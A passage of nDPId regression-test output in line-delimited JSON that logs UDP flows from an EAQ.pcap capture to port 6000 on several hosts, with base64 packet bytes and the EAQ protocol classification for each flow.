+00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":40,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1432820955933,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.129.66","src_port":48666,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00412{"flow_id":14,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":40,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820955,"pkt_ts_usec":933026,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR5rMKCAAByMKBQr4aF3AAGNz1AAAAAAAADdoABltPAACQAA=="} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":41,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1432820956931,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.129.68","src_port":47714,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00412{"flow_id":15,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":41,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820956,"pkt_ts_usec":931836,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR5rEKCAAByMKBRLpiF3AAGMFvAAAAAAAADdoABnqLAACQAA=="} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":42,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1432820957932,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.132.66","src_port":43979,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00412{"flow_id":16,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":42,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820957,"pkt_ts_usec":932110,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR47MKCAAByMKEQqvLF3AAGKK2AAAAAAAADdoABqTdAACQAA=="} +00412{"flow_id":16,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":43,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820957,"pkt_ts_usec":985150,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsABFAABARE6PIwoRCCggAARdwq8sAGNK2AAAAAAAADdoABqTdAABgAA=="} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":44,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1432820957985,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.141.67","src_port":48563,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00412{"flow_id":17,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":44,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820957,"pkt_ts_usec":985242,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR2rIKCAAByMKNQ72zF3AAGIZAAAAAAAAADdoABqZqAACQAA=="} +00498{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":45,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1432820957985,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.141.67","src_port":48563,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00469{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":45,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1432820957985,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.141.67","src_port":48563,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":45,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1432820955933,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.129.66","src_port":48666,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00469{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":45,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1432820955933,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.129.66","src_port":48666,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00497{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":45,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1432820950935,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.141.68","src_port":34687,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00468{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":45,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1432820950935,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.141.68","src_port":34687,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":45,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1432820952931,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.137.66","src_port":53354,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00469{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":45,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1432820952931,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.137.66","src_port":53354,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":45,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1432820951932,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.137.67","src_port":39221,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00469{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":45,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1432820951932,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.137.67","src_port":39221,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00497{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":45,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1432820949806,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.141.66","src_port":41438,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00468{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":45,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1432820949806,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.141.66","src_port":41438,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":45,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1432820953931,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.137.68","src_port":59959,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00469{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":45,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1432820953931,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.137.68","src_port":59959,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":45,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1432820956931,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.129.68","src_port":47714,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00469{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":45,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1432820956931,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.129.68","src_port":47714,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00498{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":45,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1432820954931,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.129.67","src_port":37985,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00469{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":45,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1432820954931,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.129.67","src_port":37985,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":45,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1432820958981,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.132.67","src_port":39185,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00412{"flow_id":18,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":45,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820958,"pkt_ts_usec":981671,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR47IKCAAByMKEQ5kRF3AAGEQwAAAAAAAADdoABxYcAACQAA=="} +00411{"flow_id":18,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":46,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820959,"pkt_ts_usec":35290,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsABJAABARE6HIwoRDCggAARdwmREAGHQwAAAAAAAADdoABxYcAABgAA=="} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":47,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1432820959035,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.132.68","src_port":52726,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00412{"flow_id":19,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":47,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820959,"pkt_ts_usec":35351,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR47EKCAAByMKERM32F3AAGHB\/AAAAAAAADdoAB7TmAACQAA=="} +00413{"flow_id":19,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":48,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820959,"pkt_ts_usec":95105,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsABNAABARE5\/IwoRECggAARdwzfYAGKB\/AAAAAAAADdoAB7TmAABgAA=="} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":49,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1432820959095,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.133.66","src_port":56128,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00411{"flow_id":20,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":49,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820959,"pkt_ts_usec":95196,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR4rMKCAAByMKFQttAF3AAGDoLAAAAAAAADdoAB90SAACQAA=="} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":50,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1432820960101,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.133.67","src_port":57004,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00412{"flow_id":21,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":50,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820960,"pkt_ts_usec":101788,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR4rIKCAAByMKFQ96sF3AAGBIjAAAAAAAADdoACAGNAACQAA=="} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":51,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1432820961101,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.133.68","src_port":53059,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00412{"flow_id":22,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":51,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820961,"pkt_ts_usec":101300,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR4rEKCAAByMKFRM9DF3AAGAmjAAAAAAAADdoACRl0AACQAA=="} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":52,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1432820962101,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.136.66","src_port":36552,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00412{"flow_id":23,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":52,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820962,"pkt_ts_usec":101819,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR37MKCAAByMKIQo7IF3AAGEXvAAAAAAAADdoACRqlAACQAA=="} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":53,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1432820963101,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.136.68","src_port":43934,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00412{"flow_id":24,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":53,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820963,"pkt_ts_usec":101514,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR37EKCAAByMKIRKueF3AAGMqYAAAAAAAADdoADHkgAACQAA=="} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":54,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":25,"flow_packet_id":1,"flow_first_seen":1432820964101,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.134.66","src_port":47346,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00412{"flow_id":25,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":54,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820964,"pkt_ts_usec":101849,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR4bMKCAAByMKGQrjyF3AAGL1eAAAAAAAADdoADHsIAACQAA=="} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":55,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":26,"flow_packet_id":1,"flow_first_seen":1432820965101,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.134.68","src_port":59098,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00412{"flow_id":26,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":55,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820965,"pkt_ts_usec":101300,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR4bEKCAAByMKGRObaF3AAGI6AAAAAAAAADdoADHv8AACQAA=="} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":56,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":27,"flow_packet_id":1,"flow_first_seen":1432820966101,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.149.67","src_port":50175,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00413{"flow_id":27,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":56,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820966,"pkt_ts_usec":101330,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR0rIKCAAByMKVQ8P\/F3AAGKGGAAAAAAAADdoADHzSAACQAA=="} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":57,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":28,"flow_packet_id":1,"flow_first_seen":1432820967101,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.149.68","src_port":36577,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00412{"flow_id":28,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":57,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820967,"pkt_ts_usec":101727,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR0rEKCAAByMKVRI7hF3AAGNXsAAAAAAAADdoADH2JAACQAA=="} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":58,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":29,"flow_packet_id":1,"flow_first_seen":1432820968101,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.136.67","src_port":60013,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00412{"flow_id":29,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":58,"source":"EAQ.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1432820968,"pkt_ts_usec":101514,"pkt_caplen":58,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":58,"pkt_l4_len":24,"pkt":"ABoRAAACABoRAAABCABFAAAsAABAAEAR37IKCAAByMKIQ+ptF3AAGIaLAAAAAAAADdoADH5fAACQAA=="} +00498{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":59,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1432820960101,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.133.67","src_port":57004,"dst_port":6000,"l4_proto":"udp","ndpi": {"proto":"EAQ","breed":"Acceptable","category":"Network"}} +00469{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":59,"source":"EAQ.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1432820960101,"flow_last_seen":0,"flow_tot_l4_data_len":24,"flow_min_l4_data_len":24,"flow_max_l4_data_len":24,"flow_avg_l4_data_len":24,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"200.194.133.67","src_port":57004,"dst_port":6000,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 